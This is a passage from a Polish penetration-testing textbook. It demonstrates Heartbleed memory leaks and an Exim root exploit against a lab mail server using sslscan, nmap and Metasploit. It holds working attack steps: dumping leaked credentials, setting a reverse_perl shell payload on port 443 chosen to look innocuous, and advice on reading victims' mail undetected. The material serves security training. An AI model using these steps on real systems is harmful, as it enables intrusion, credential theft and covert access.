wiemy, że exploit jest modułem frameworka Metasploit, który można pobrać, jeżeli nie jest już jego
standardową częścią. Metasploit ma swój własny system wyszukiwania, a zatem można poszukać
tego exploitu bezpośrednio we frameworku.

Błąd przepełnienia bufora (ang. buffer overflow) pojawia się w przypadku, gdy
program niespodziewanie zaczyna zapisywać dane poza przydzieloną przestrzenią w pa-
mięci, nadpisując komórki znajdujące się w pobliżu. Takie błędy można wykorzystać, żeby
zmusić podatny program do nadpisania komórek pamięci, które zawierają kod wykony-
walny, i wpisać do nich złośliwy kod przygotowany przez hakera.

CVE-2014-0160 — błąd Heartbleed

Błąd Heartbleed (krwawienie z serca) jest przykładem doskonale wybranej nazwy dla podatności.
Po pierwsze świetnie brzmi (lepiej niż CVE -2014-0160), a po drugie jest pewną grą słów, ponie-
waż element, w którym występuje ten błąd, powszechnie nazywany jest hartbeat (bicie serca).
Poza tym ta nazwa brzmi bardzo poważnie, co świetnie pasuje do błędu, ponieważ dotyczy on

3681988c430c7fe1e8567c4e2f281f7b
3
CVE-2014-0160 — błąd Heartbleed 193

oprogramowania zaprojektowanego do szyfrowania ważnych informacji, takich jak hasła lub nu-
mery kart kredytowych. Okazuje się, że ten błąd umożliwia ujawnienie takich chronionych in-
formacji. Sprawia on, że te dane wyciekają (lub krwawią) z pamięci zdalnego systemu. Miło by
było, gdyby wszystkie podatności miały równie pasujące nazwy! Ten konkretny błąd spowodował
spore zamieszanie na całym świecie i przedostał się nawet do głównych mediów. Nawet strona
internetowa FBI była przez pewien czas podatna na ataki związane z tym błędem, podobnie jak
większość stron w internecie używających pakietu OpenSSL (otwartoźródłowej implementacji
protokołu SSL/TLS). Błąd wpływał na wiele różnych systemów, a mimo że sama podatność po-
wstała już w 2014 roku, to nadal od czasu do czasu można się na nią natknąć. Zazwyczaj jednak
w systemach, które nie są dostępne publicznie w internecie. Ta podatność nie jest związana z sa-
mym protokołem, ale z jego konkretną implementacją w postaci biblioteki OpenSSL. Niestety ta
właśnie biblioteka jest bardzo szeroko wykorzystywana.
Sprawdźmy teraz, czym jest funkcja heartbeat protokołu TLS i dlaczego umożliwia ona powsta-
nie tej podatności. Dwa hosty nawiązują tak zwane bezpieczne połączenie, korzystając przy tym
z protokołu SSL/TLS. Takie połączenia są nawiązywane na przykład przy otwieraniu strony WWW
poprzez protokół HTTPS albo podczas wysyłania wiadomości z agenta MUA do nowoczesnego
agenta MTA (może to być e-mail wysyłany z programu Thunderbird do zdalnego serwera Exim
nasłuchującego na porcie 587). Aby raz nawiązane połączenie było cały czas aktywne, systemy uży-
wają pakietów heartbeat (bicie serca) informujących drugi host, że ten pierwszy nadal działa i na-
słuchuje albo będzie niedługo przesyłał kolejne informacje. Takie pakiety podtrzymujące zawierają
niewielkie ilości danych z rekordu protokołu TLS. Strona wysyłająca podaje określone słowo lub
ciąg znaków (na przykład „HELLO”) i podaje jego długość jako 16-bitową liczbę całkowitą bez
znaku. W przypadku słowa HELLO mamy tylko pięć znaków. A zatem strona wysyłająca przesyła
w pakiecie znaki „HELLO” oraz liczbę 5 (skoro to mają być 2 bajty, to wysłana zostanie wartość
0x0005). Po drugiej stronie host odbiera tę informację i zapisuje słowo HELLO do pamięci razem
z wielkością podaną przez klienta. Następnie host odpowiada własnym pakietem heartbeat o długości
określonej przez klienta. Podatność polega tu na tym, że ufamy klientowi wysyłającemu pakiet he-
artbeat, że poda on właściwą długość własnej wiadomości, która następnie zostanie użyta przy two-
rzeniu odpowiedzi. Klient może zatem wysłać słowo „HELLO”, a jednocześnie ustalić wielkość
wiadomości na 65 535 bajtów (to maksymalna wartość, jaką można zapisać w 2 bajtach). W tej
sytuacji serwer powinien odesłać tekst „HELLO” o długości pięciu znaków (zwykle jeden znak za-
pisywany jest w jednym bajcie). Niestety serwer jest zobowiązany do odesłania 65 535 bajtów,
o które prosił klient, a zatem uzupełnia pozostałą część wiadomości, wpisując do niej 65 530 do-
datkowych znaków.
Skąd jednak serwer ma wziąć te dodatkowe znaki? Pamiętaj, że protokół SSL/TLS jest protoko-
łem zabezpieczającym, który szyfruje dane przesyłane przez sieć, takie jak hasła lub numery kart
kredytowych. Serwer tworzy odpowiedź, wykorzystując zawartość własnej pamięci wewnętrznej,
a konkretnie korzysta z pamięci nazywanej stertą. Oznacza to, że umieszcza w odpowiedzi słowo
„HELLO” pobrane z pamięci razem z 65 530 bajtami następującymi po tym słowie. Nowoczesne
języki programowania mają wbudowane funkcje ochrony pamięci i mogą zabezpieczać programy,
które omyłkowo próbują uzyskać dostęp do pamięci wykraczającej poza przestrzeń zarezerwowaną
dla danej zmiennej. Niestety język C nie ma takich zabezpieczeń, a biblioteka OpenSSL jest napi-
sana w języku C.

3681988c430c7fe1e8567c4e2f281f7b
3
194 Rozdział 6  Poczta elektroniczna

Zastanówmy się teraz, co może zawierać ten kawałek ujawnionej niechcący pamięci? Cóż, mogą
się tam znajdować najróżniejsze rzeczy. Możemy to sprawdzić na przykładzie naszego wirtualnego
serwera pocztowego. Najpierw trzeba sprawdzić, czy jest on podatny na tego typu atak (mały spo-
iler: tak, jest podatny), a następnie wykorzystać ten błąd. Na rysunku 6.6 przedstawiamy uprosz-
czoną zasadę działania błędu Heartbleed.

Rysunek 6.6. Błąd Heartbleed

Źródło oryginalnego obrazu: https://commons.wikimedia.org/wiki/File:Simplified_Heartbleed_explanation.svg.

Jeżeli do przeprowadzania testów penetracyjnych używasz najnowszej

wersji systemu Kali Linux albo dowolnej innej dystrybucji Linuksa, to po sprawdzeniu z pew-
nością stwierdzisz, że w systemie znajdują się najnowsze wersje biblioteki OpenSSL. Aby
poznać wersję zainstalowaną na swoim hoście, wystarczy wpisać polecenie openssl version.
Programy w stylu SSLscan, OpenVPN (klient VPN) albo Nmap, używając różnych funkcji SSL,
mogą korzystać z systemowej biblioteki SSL (biblioteki dynamicznej) albo z biblioteki połą-
czonej z samą aplikacją (biblioteki statycznej). W związku z podatnościami, jakie znajdo-
wano w protokole SSL, były do niego wprowadzane różne poprawki. Z nowszych bibliotek
SSL zniknęło zatem kilka mechanizmów szyfrowania, kilka funkcji i innych elementów.
W ten sposób uniemożliwiono wykrycie i wykorzystanie znanych wcześniej podatności pro-
tokołu, ponieważ biblioteki SSL znajdujące się teraz w Twoim systemie nie mają już podat-
nego kodu. Takie nowe biblioteki nie obsługują już konfiguracji związanych ze starymi po-
datnościami, a zatem nie można ich użyć do testowania takich błędów jak Heartbleed.

3681988c430c7fe1e8567c4e2f281f7b
3
CVE-2014-0160 — błąd Heartbleed 195

W przypadku programu SSLscan może on błędnie informować, że dany serwer nie jest po-
datny na określony atak, ponieważ sam program korzysta z nowszych bibliotek SSL. Należy
się zawsze upewnić, że biblioteki zainstalowane w systemie oraz te statyczne powiązane
z aplikacjami nie będą uniemożliwiać znajdowania i wykorzystywania podatności SSL. Pod-
czas wykonywania testów penetracyjnych zawsze można przywrócić starsze wersje pakie-
tów albo użyć starszych wersji bibliotek. Niestety w ten sposób nasz system staje się po-
datny na starsze ataki SSL, dlatego taka konfiguracja powinna być jedynie tymczasowa albo
powstać w specjalnie przygotowanej maszynie wirtualnej. Jeżeli zauważysz pewne niezgod-
ności podczas wykonywania testu uzgodnionego wcześniej z klientem, spróbuj użyć wersji
biblioteki OpenSSL, która będzie pasowała do wersji zainstalowanej na badanym serwerze.
Do sprawdzenia, czy serwer jest podatny na ataki Heartbleed, wykorzystamy program SSLscan.
Takie sprawdzanie systemów klienta można uznać za działania rutynowe, podobnie jak i skanowa-
nie portów. Jeżeli używasz najnowszej wersji systemu Kali Linux, to na pewno ma on zainstalowane
najnowsze biblioteki OpenSSL. Może to uniemożliwiać uruchamianym narzędziom poprawne wy-
krywanie podatności w usługach SSL (takim programem był również SSLscan, ale w trakcie pisania
tej książki autorzy programu zajęli się tym problemem powodowanym przez niedopasowane bi-
blioteki SSL), ponieważ nowsze biblioteki sprawiają, że starsze podatności nie są już obsługiwane.
Jak możemy zatem wykryć i usunąć ten problem? Najpierw spójrz na poniższy przykład:
sslscan --version
1.11.13-static
OpenSSL 1.0.2-chacha (1.0.2g-dev)

Aktualna wersja programu SSLscan używa widocznej powyżej wersji biblioteki OpenSSL, która
nie ma już problemów z atakami Heartbleed. W tej wersji znajduje się też kilka innych poprawek,
przez co nie jest ona w stanie właściwie przetestować konfiguracji bibliotek SSL znajdujących się
na starszych urządzeniach. Można się o tym przekonać, uruchamiając program i wskazując mu za
cel nasz wirtualny serwer pocztowy. Prawdopodobnie w wynikach pracy programu znajdziesz in-
formacje o co najwyżej kilku podatnościach. (Najnowsza wersja programu SSLscan powstała w trak-
cie pisania tej książki już poprawnie obsługuje tę sytuację. Mimo to umiejętność stosowania wcze-
śniejszych wersji pakietów SSL jest bardzo istotna, ponieważ korzystając zawsze z najnowszych
narzędzi i biblioteki SSL, można nie zauważyć istniejącej, starszej podatności). Możemy teraz spraw-
dzić sposób wykorzystania statycznych lub dynamicznych bibliotek używanych przez wybrany pro-
gram. W tym celu należy skorzystać z polecenia ldd.
ldd `which sslscan`

linux-vdso.so.1 (0x00007f2583c9e000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f2583c9e000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f2583c99000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2583ad8000)
/lib64/ld-linux-x86-64.so.2 (0x00007f2584168000)

Ten wydruk informuje nas, że aplikacja nie używa systemowej biblioteki „libssl” ani żadnej po-
dobnej biblioteki, a to oznacza, że podczas wykonywania testów musi korzystać ze statycznych bi-
bliotek OpenSSL. W tej sytuacji zainstalowanie w systemie starszej wersji biblioteki nie będzie
miało żadnego wpływu na tę aplikację, ponieważ używa ona wyłącznie własnej biblioteki. Ze względu
na to, że w nowej wersji biblioteki załatano wiele słabości w protokołach, musimy zastosować starszą

3681988c430c7fe1e8567c4e2f281f7b
3
196 Rozdział 6  Poczta elektroniczna

wersję samego narzędzia, która stosowała starsze wersje bibliotek. Wersja naszego oprogramowa-
nia musi być dopasowana do podatności istniejących na atakowanym serwerze, a nie do konfigu-
racji naszego komputera. Na szczęście uzyskanie starszych wersji narzędzi nie jest trudne, a dzięki
nim zyskamy pewność, że wykonywane testy zwracają poprawne wyniki. Pobierz teraz i zainstaluj
starszą wersję pakietu SSLscan, korzystając przy tym z repozytorium old.kali.org.
wget http://old.kali.org/kali/pool/main/s/sslscan/sslscan_1.9.10-rbsec-
0kali1_amd64.deb
dpkg -i sslscan_1.9.10-rbsec-0kali1_amd64.deb

Teraz masz już do dyspozycji wersję programu SSLscan używającą statycznej wersji biblioteki
OpenSSL, która pozwoli nam wykonać test podatności serwera. Aby to potwierdzić, uruchom po-
nownie polecenie z opcją version.
sslscan --version
-static
OpenSSL 1.0.1m-dev xx XXX xxxx

Ten wydruk wskazuje, że wersja biblioteki OpenSSL zastosowana w tym programie jest znacz-
nie starsza i z pewnością zawiera przestarzałe funkcje protokołów, których potrzebujemy do wy-
szukania podatności na serwerze. Teraz możesz już uruchomić skanowanie wirtualnego serwera
pocztowego, używając poniższego polecenia:
sslscan 192.168.48.102

Version: -static
OpenSSL 1.0.1m-dev xx XXX xxxx

Testing SSL server 192.168.48.102 on port 443

TLS renegotiation:
Secure session renegotiation supported

TLS Compression:
Compression disabled

Heartbleed:
TLS 1.0 not vulnerable to heartbleed
TLS 1.1 vulnerable to heartbleed
TLS 1.2 vulnerable to heartbleed

Supported Server Cipher(s):

Accepted TLSv1.0 256 bits ECDHE-RSA-AES256-SHA
Accepted TLSv1.0 256 bits DHE-RSA-AES256-SHA
Accepted TLSv1.1 256 bits ECDHE-RSA-AES256-SHA
Accepted TLSv1.1 256 bits DHE-RSA-AES256-SHA
Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-GCM-SHA384
Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA384
Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA
Accepted TLSv1.2 256 bits DHE-RSA-AES256-GCM-SHA384
Accepted TLSv1.2 256 bits DHE-RSA-AES256-SHA256
Accepted TLSv1.2 256 bits DHE-RSA-AES256-SHA
Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-GCM-SHA256
Accepted TLSv1.2 128 bits DHE-RSA-AES128-GCM-SHA256

Preferred Server Cipher(s):

3681988c430c7fe1e8567c4e2f281f7b
3
CVE-2014-0160 — błąd Heartbleed 197

TLSv1.0 256 bits ECDHE-RSA-AES256-SHA

TLSv1.1 256 bits ECDHE-RSA-AES256-SHA
TLSv1.2 256 bits ECDHE-RSA-AES256-GCM-SHA384

SSL Certificate:
Signature Algorithm: sha1WithRSAEncryption
RSA Key Strength: 1024

Subject: hackbloc.linux01.lab
Issuer: Superfish, Inc.

Z uzyskanych wyników skanowania wynika, że nasz wirtualny serwer jest podatny na atak
Heartbleed poprzez protokół TLS. Można też zauważyć, że narzędzia SSL podawały nam inne wy-
niki, prezentując fałszywe pozytywy albo nie odpowiadając zgodnie z oczekiwaniami, co najpraw-
dopodobniej wynikało z użycia niedopasowanych bibliotek SSL. Uruchom program jeszcze raz,
żeby uzyskać dokładniejszą ocenę. Zawsze też testuj usługi SSL, korzystając z bibliotek jak najlepiej
dopasowanych do tych używanych przez zdalny host. Tylko w ten sposób upewnisz się, że nie pomi-
jasz w testach starszych i przedawnionych funkcji. Po zakończeniu pracy ze starszymi bibliotekami
możesz w prosty sposób zaktualizować program SSLscan, używając polecenia apt update sslscan.
Możesz też użyć skryptu programu Nmap o nazwie ssl-heartbleed, który sonduje, czy wska-
zana usługa SSL wykazuje podatność na atak Heartbleed. Ten skrypt w mniejszym stopniu zależny
jest od wersji biblioteki OpenSSL zainstalowanej w komputerze, dzięki czemu można go używać
bardziej swobodnie, uzyskując pewniejsze wyniki. Można go zatem użyć do sprawdzenia, czy wy-
brany serwer wykazuje podatność opisaną w CVE-2014-0160.
nmap -p 443,80 --script=ssl-heartbleed 192.168.48.102

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-19 14:06 PDT

Nmap scan report for 192.168.48.102
Host is up (0.00038s latency).
PORT STATE SERVICE
80/tcp open http
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL crypto
graphic software library. It allows for stealing information intended to be prot
cted by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.
.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for rea
ing memory of systems protected by the vulnerable OpenSSL versions and could al
ow for disclosure of otherwise encrypted confidential information as well as th
encryption keys themselves.
|
| References:
| http://www.openssl.org/news/secadv_20140407.txt
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_ http://cvedetails.com/cve/2014-0160/
MAC Address: 08:00:27:49:F4:0E (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.48 seconds

3681988c430c7fe1e8567c4e2f281f7b
3
198 Rozdział 6  Poczta elektroniczna

Oczywiście można używać też innych narzędzi. Na przykład we frameworku Metasploit znaj-
dziesz wygodną metodę potwierdzania obecności podatności Heartbleed i wykorzystywania jej.
Najpierw uruchom framework Metasploit (msfconsole), a następnie wpisz polecenie:
search heartbleed

Z pewnością szybko zauważysz, że poszukiwanie modułów we frameworku

Metasploit trwa naprawdę długo. Można przyspieszyć ten proces za pomocą wyszukiwania
indeksowego. W tym miejscu Metasploit używa bazy danych PostgreSQL. Przed urucho-
mieniem frameworka Metasploit wprowadź zatem polecenie service postgresql start.
System Kali Linux domyślnie nie uruchamia tego rodzaju usług.
Interesujący nas moduł można wybrać w sposób zaprezentowany poniżej. Jest to moduł po-
mocniczy, podobny do modułu wzmocnienia ruchu DNS, z którego korzystaliśmy w poprzednim
rozdziale.
use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(scanner/ssl/openssl_heartbleed) >

Używając polecenia show info, możesz teraz przejrzeć informacje o tym module, aby dowie-
dzieć się, jak działa i co robi. W ten sposób uzyskasz też listę opcji tego modułu. Używając polecenia
show options, możesz przejrzeć wyłącznie listę opcji.
Przed rozpoczęciem pracy trzeba podać adres celu (opcja RHOSTS) swojego ataku (lub skanu).
Tutaj trzeba podać adres IP serwera pocztowego.
set RHOSTS <AdresIP>

Ponownie przejrzyj opcje tego modułu, aby upewnić się, że wprowadzono właściwy adres IP.
Aby w końcu uruchomić moduł, wpisz polecenie exploit lub run. Jeżeli moduł zadziała skutecznie,
to Metasploit powinien wypisać komunikat zawierający tekst Heartbleed response with leak.
Warto tutaj przeanalizować zawartość tego komunikatu, czy nie znajdują się w nim jakieś ważne
i ciekawe informacje. Można też ponownie uruchomić moduł, tym razem podając mu akcję DUMP.
set ACTION DUMP

ACTION => DUMP

msf auxiliary(scanner/ssl/openssl_heartbleed) >

Tym razem w odpowiedzi powinien znajdować się taki komunikat:

Heartbeat data stored in
/root/.msf4/loot/20180105122035_default_192.168.56.102_openssl.heartble_837654.bin

To wygląda obiecująco, bo w podanym pliku zapisano jakieś informacje. Zwróć też uwagę na
to, w jakim katalogu zapisano ten plik. Metasploit używa katalogu o nazwie .msf4 (albo innego
o podobnej nazwie) umieszczonego w katalogu aktualnego użytkownika. W tak przygotowanym ka-
talogu tworzy jeszcze podkatalog o nazwie loot. Doskonale! Właśnie udało Ci się uzyskać pierwsze
łupy z ataku! W pliku .bin zapisana jest część pamięci serwera. To tylko dane binarne — po prostu
zbiór zer i jedynek, dlatego do przeglądania go trzeba użyć edytora szesnastkowego albo skorzystać
z polecenia strings. Umożliwia ono pobranie ze zbioru danych wszystkich ciągów znaków, które
mogą być czytelne dla człowieka. Być może część z nich będzie zawierała przydatne informacje.

3681988c430c7fe1e8567c4e2f281f7b
3
CVE-2014-0160 — błąd Heartbleed 199

W poniższym poleceniu należy zastąpić element <NazwaPliku> faktyczną nazwą pliku, którą wcze-
śniej uzyskasz z raportu framework Metasploit.
strings /root/.msf4/loot/<NazwaPliku>

W wyniku działania tego polecenia możesz zobaczyć tego rodzaju teksty:

login_username=jennya&secretkey=J3nnyl&js_autodetect_results=1&just_
logged_in=1
bI}
xhaR
Eerground1
Private1
Elite Squad1
hackbloc.linux01.lab1
root@localhost0
o0m0
y-w0
xca certificate0
hr!9
?]`}
B@)3
KdmR
nXa!8
yZQs
Y:\E
3i>(
9n]Pkw[
3(1

Przyjrzyj się tym tekstom. Widzisz cokolwiek, co mogłoby być przydatne? Sam błąd Heartbleed
może zostać łatwo wykorzystany za pomocą skryptu Metasploit. W uzyskanych w ten sposób da-
nych możesz znaleźć nazwy użytkowników oraz hasła. W powyższym przykładzie teksty wyglądają jak
elementy żądania z sieci WWW, które były zapisane w pamięci odczytanej w wyniku błędu. Dla-
czego zatem nie wypróbować hasła tego użytkownika i nie zalogować się na jego konto pocztowe?

W pewnym momencie możesz się zorientować, że masz możliwość uzy-

skania dostępu do poczty konkretnych osób, na przykład pracowników Twojego klienta.
Oczywiście takie działania muszą zostać zatwierdzone przez klienta, a zgoda na nie musi
zostać udzielona pisemnie w ramach ustalonego zakresu projektu. Celem czytania tych
e-maili powinno być wyszukiwanie dodatkowych informacji, które mogą pomóc Ci (lub zło-
śliwemu hakerowi) uzyskać szerszy dostęp do systemu. Może się okazać, że w wiadomo-
ściach znajdują się nazwy użytkowników oraz ich hasła. Po przeczytaniu wiadomości dobrze
jest oznaczyć ją jako nieprzeczytaną. W zależności od umowy zawartej z klientem warto
unikać wykrycia swojej obecności w systemie do czasu, gdy zdołasz uzyskać szerszy dostęp
do niego. Nie chcemy też przeszkadzać klientowi w prowadzeniu jego normalnej działalno-
ści. Pracownicy mogą przeoczyć wiadomość, która została przeczytana przez Ciebie, i nawet
nie wiedzieć, że omija ich jakaś ważna informacja. Bardziej uważni pracownicy mogą też
zauważyć, że ktoś niepowołany czyta ich wiadomości.

3681988c430c7fe1e8567c4e2f281f7b
3
200 Rozdział 6  Poczta elektroniczna

Poznaliśmy już kolejną metodę uzyskiwania nazw użytkowników i ich haseł. Jeżeli nie udałoby
się siłowo włamać do serwisu POP3 działającego na tym serwerze, to można skorzystać z innej
możliwości, jaką jest błąd Heartbleed. Znalezienie jednej metody dostępu nie powinno powstrzy-
mywać nas przed poszukiwaniem kolejnych. Jeżeli istnieją jakieś sposoby, które można wykorzy-
stać, to należy je odpowiednio ocenić i zgłosić swojemu klientowi. Atakujący musi otworzyć sobie
tylko jedne drzwi do systemu, ale od zawodowych testerów penetracyjnych oczekuje się, że znajdą
takich drzwi jak najwięcej i nie poprzestaną na pierwszych.

Wykorzystywanie błędu CVE-2010-4345

Teraz uruchomimy exploit, który powinien dać nam uprawnienia użytkownika root na serwerze
pocztowym. Zaczniemy od wyszukania we frameworku Metasploit wszystkich exploitów dla pro-
gramu Exim.
search exim

Takie wyszukiwanie powinno zwrócić listę składającą się z kilku modułów. My skorzystamy
z modułu o nazwie exim4_string_format. Aby użyć tego modułu, wpisz polecenie use, uzupełniając
je o pełną ścieżkę do modułu, tak jak poniżej:
use exploit/unix/smtp/exim4_string_format

Pamiętaj o konieczności przejrzenia informacji o module oraz listy jego opcji, tak jak robiliśmy
to już wcześniej. Podaj adres zdalnego hosta (zazwyczaj używa się do tego zmiennej RHOST lub
RHOSTS), używając adresu IP naszego serwera pocztowego:
set RHOSTS <AdresIP>

Za pomocą polecenia show payloads można wyświetlić listę wszystkich rodzajów payloadów
dostępnych dla tego exploitu. Taka lista będzie podobna do prezentowanej poniżej:
msf exploit(unix/smtp/exim4_string_format) > show payloads

Compatible Payloads
===================

Name Rank Check Description

---- ---- ----- -----------
cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
cmd/unix/generic normal No Unix Command, Generic Command Execution
cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
.../reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
.../reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL telnet

3681988c430c7fe1e8567c4e2f281f7b
3
Wykorzystywanie błędu CVE-2010-4345 201

CZYM JEST PAYLOAD?

W ogólnym tłumaczeniu payload to zestaw danych dostarczanych lub przenoszonych z jednego

miejsca na inne. To samo pojęcie stosowane jest też w odniesieniu do różnych rodzajów broni,
takich jak bomby lub pociski. W tym kontekście payload to ta część, która eksploduje i powoduje
zniszczenia, natomiast system napędowy samolotu lub pocisku zajmuje się tylko dostarczeniem
payloadu do celu.
W sieciach komputerowych payloadem nazywane są dane przesyłane w pakiecie z jednego
hosta do innego. Może to być coś zupełnie niewinnego i niegroźnego, na przykład kawałek oglą-
danego właśnie filmu albo część e-maila. Z drugiej strony może to też być coś, co ma za zadanie
spowodować jakieś zniszczenia, na przykład wiersz złośliwego kodu. Podobnie jak w przypadku
bomb, pocisków i kul armatnich, nasz payload musi zostać dostarczony do celu, bo inaczej nie
jest w stanie niczego zdziałać. W naszym środowisku systemem transportowym są najróżniejsze
protokoły, takie jak Ethernet, IP, TCP lub SMTP, które muszą ze sobą współpracować, aby prze-
nieść payload między hostami, aż do wyznaczonego celu.
Jeżeli chodzi o uruchamianie exploitów, czy to we frameworku Metasploit, czy też bezpo-
średnio w wierszu poleceń, to sam exploit należy traktować jak rozwinięcie tego systemu do-
starczania. Ten dodatek bierze na cel słabość w systemach obronnych hosta, dzięki czemu może
dostarczyć właściwy payload dokładnie tam, gdzie będzie mógł on wykonać swoje zadanie.
Payloadem może być dowolnie wybrany przez nas kod, który umożliwi nam uruchomienie
w zdalnym systemie powłoki albo innej formy dostępu do tego systemu.
Szukając obrazowej analogii: pomyśl o tym, jak Luke Skywalker odpala torpedy protonowe
w stronę kanału wentylacyjnego Gwiazdy Śmierci w filmie Gwiezdne wojny: Epizod IV. W tym
przypadku podatnością okazał się być słabo zaprojektowany system wentylacji reaktora (albo
patrząc inaczej: doskonale zaprojektowana tylna furtka) połączony z niemożnością odparcia
ataku prowadzonego przez niewielkie myśliwce. Exploit jest zatem procesem umożliwiającym
zaatakowanie podatnego systemu wentylacji przez myśliwce Luka i innych rebeliantów lecą-
cych w kanale Gwiazdy Śmierci. Jak pamiętamy, payload w postaci torped protonowych został
skutecznie dostarczony, przez co cały serwer (w tym przypadku Gwiazda Śmierci) został wyłą-
czony w efektowej eksplozji.

Typy payloadu we frameworku Metasploit

Istnieją trzy typowe rodzaje payloadu: bind, reverse i findsock (skrót od angielskich słów „find
socket”, czyli znajdź gniazdko). Payload typu bind będzie próbował włączyć element nasłuchu-
jący w docelowym systemie i oczekiwać na przychodzące połączenie z systemu osoby prowa-
dzącej atak. Payload typu reverse będzie próbował zmusić atakowany system do ustanowienia
połączenia z portem systemu atakującego. Z kolei payload typu findsock będzie starał się wyko-
rzystać istniejące już gniazdko na atakowanym hoście. Gniazdkiem nazywany jest port powią-
zany z konkretnym adresem IP, który oczekuje na połączenia przychodzące lub jest aktualnie
używany do komunikacji. Zastosowanie payloadu typu findsock jest rozwiązaniem najtrudniej-
szym do wykrycia, ponieważ wykorzystuje on istniejące już połączenia, przez co w mniejszym
stopniu odróżnia się od normalnego zachowania systemu. Payloady typu bind i reverse próbują
ustanowić nowe połączenia, używając przy tym portów, które nie muszą być w normalnym użyciu
na zaatakowanym komputerze. To może zostać względnie łatwo wykryte przez kogoś, kto anali-
zuje ruch sieciowy wewnątrz firmy. Nie będzie to wielkim problemem, jeżeli pracujemy na zlecenie
swojego klienta, ponieważ tutaj nie musimy tak bardzo unikać wykrycia, ale istnieje też wiele
innych sytuacji, gdy nawet w porozumieniu z klientem chcemy jak najdłużej unikać wykrycia.
Payloady i ich typy zostaną omówione dokładniej w kolejnych rozdziałach tej książki, a ich
temat będzie cały czas do nas powracał.

3681988c430c7fe1e8567c4e2f281f7b
3
202 Rozdział 6  Poczta elektroniczna

Jeżeli chcesz zobaczyć skuteczny atak, to najlepiej użyj payloadu o nazwie reverse_pearl. Ten
rodzaj payloadu wymaga, żeby na zdalnym hoście zainstalowany był język programowania Pearl.
Można nie mieć pewności, jakie języki są zainstalowane na atakowanym systemie, ale w większości
systemów uniksowych dostępne są wybrane języki, takie jak Pearl, Python lub Ruby. Oczywiście
możesz też wypróbowywać różne rodzaje payloadu, aż któryś będzie w stanie wykonać swoje zadanie.
W ten sposób uzyskasz swój stabilny exploit (więcej na ten temat dowiesz się za chwilę).
set PAYLOAD cmd/unix/reverse_perl

PAYLOAD => cmd/unix/reverse_perl

Jeżeli teraz przejrzysz opcje modułu (polecenie show options) z wybranym payloadem, to na
liście zobaczysz dodatkowe ustawienia. Oznacza to, że i sam payload do poprawnego działania wy-
maga konfiguracji. Wybraliśmy tutaj payload typu reverse, więc opcji lokalnego hosta należy przy-
pisać adres maszyny wirtualnej Kali Linux. Payload będzie próbował ustanowić połączenie z zaat-
akowanego systemu do systemu Kali Linux. Będziemy zatem mieli połączenie przychodzące. O tym
rozwiązaniu można myśleć jak o przerzuceniu katapultą nad murem obronnym kogoś, kto po wy-
lądowaniu przerzuci przez ten mur drabinkę sznurową. Dzięki temu zyskamy możliwość przejścia
nad murem do miasta. Przypisz zmiennej LHOST adres IP maszyny wirtualnej, z której będziesz
przeprowadzać atak.
set LHOST 192.168.48.100

Swój własny adres IP można odczytać za pomocą polecenia ifconfig albo

wewnątrz Metasploita za pomocą polecenia ip address. Nie trzeba do tego otwierać osob-
nego okna terminala. Podobnie działają też inne polecenia.
Nie można też zapomnieć o zmiennej lokalnego portu (LPORT), tak żeby payload wiedział,
z którym portem ma się łączyć w maszynie wirtualnej Kali Linux. Teoretycznie może to być całko-
wicie dowolny port, ale lepiej wybrać port o numerze, który nie będzie wzbudzał podejrzeń. Zazwy-
czaj zmiennej LPORT przypisuje się numer portu 443, dzięki czemu nasze połączenie będzie wstępnie
wyglądało jak zwyczajna komunikacja w sieci WWW:
set LPORT 443

Przed uruchomieniem exploitu sprawdź jeszcze raz, czy wszystkie opcje mają poprawnie przy-
pisane wartości. Upewnij się, że podano właściwe adresy IP (zdalny i lokalny), jak również numery
portów. Gdy uznasz, że wszystkie wartości są prawidłowe, wpisz polecenie exploit.

Udało się?
Po kilku chwilach, jeżeli exploit zadziałał skutecznie, otwarta zostanie powłoka, a Metasploit zacznie
wypisywać komunikaty podobne do poniższych:
[*] Started reverse TCP handler on 192.168.48.100:443
[*] 192.168.48.102:25 - Connecting to 192.168.48.100:25 ...
[*] 192.168.48.102:25 - Server: 220 localhost ESMTP Exim 4.68 Fri, 01 Feb 2019 12:55:03 +0000
[*] 192.168.48.102:25 - EHLO: 250-localhost Hello 96NpBYZG.com [192.168.48.100]
[*] 192.168.48.102:25 - EHLO: 250-SIZE 52428800

3681988c430c7fe1e8567c4e2f281f7b
3
Wykorzystywanie błędu CVE-2010-4345 203

[*] 192.168.48.102:25 - EHLO: 250-EXPN

[*] 192.168.48.102:25 - EHLO: 250-PIPELINING
[*] 192.168.48.102:25 - EHLO: 250 HELP
[*] 192.168.48.102:25 - Determined our hostname is 96NpBYZG.com and IP address is 192.168.48.100
[*] 192.168.48.102:25 - MAIL: 250 OK
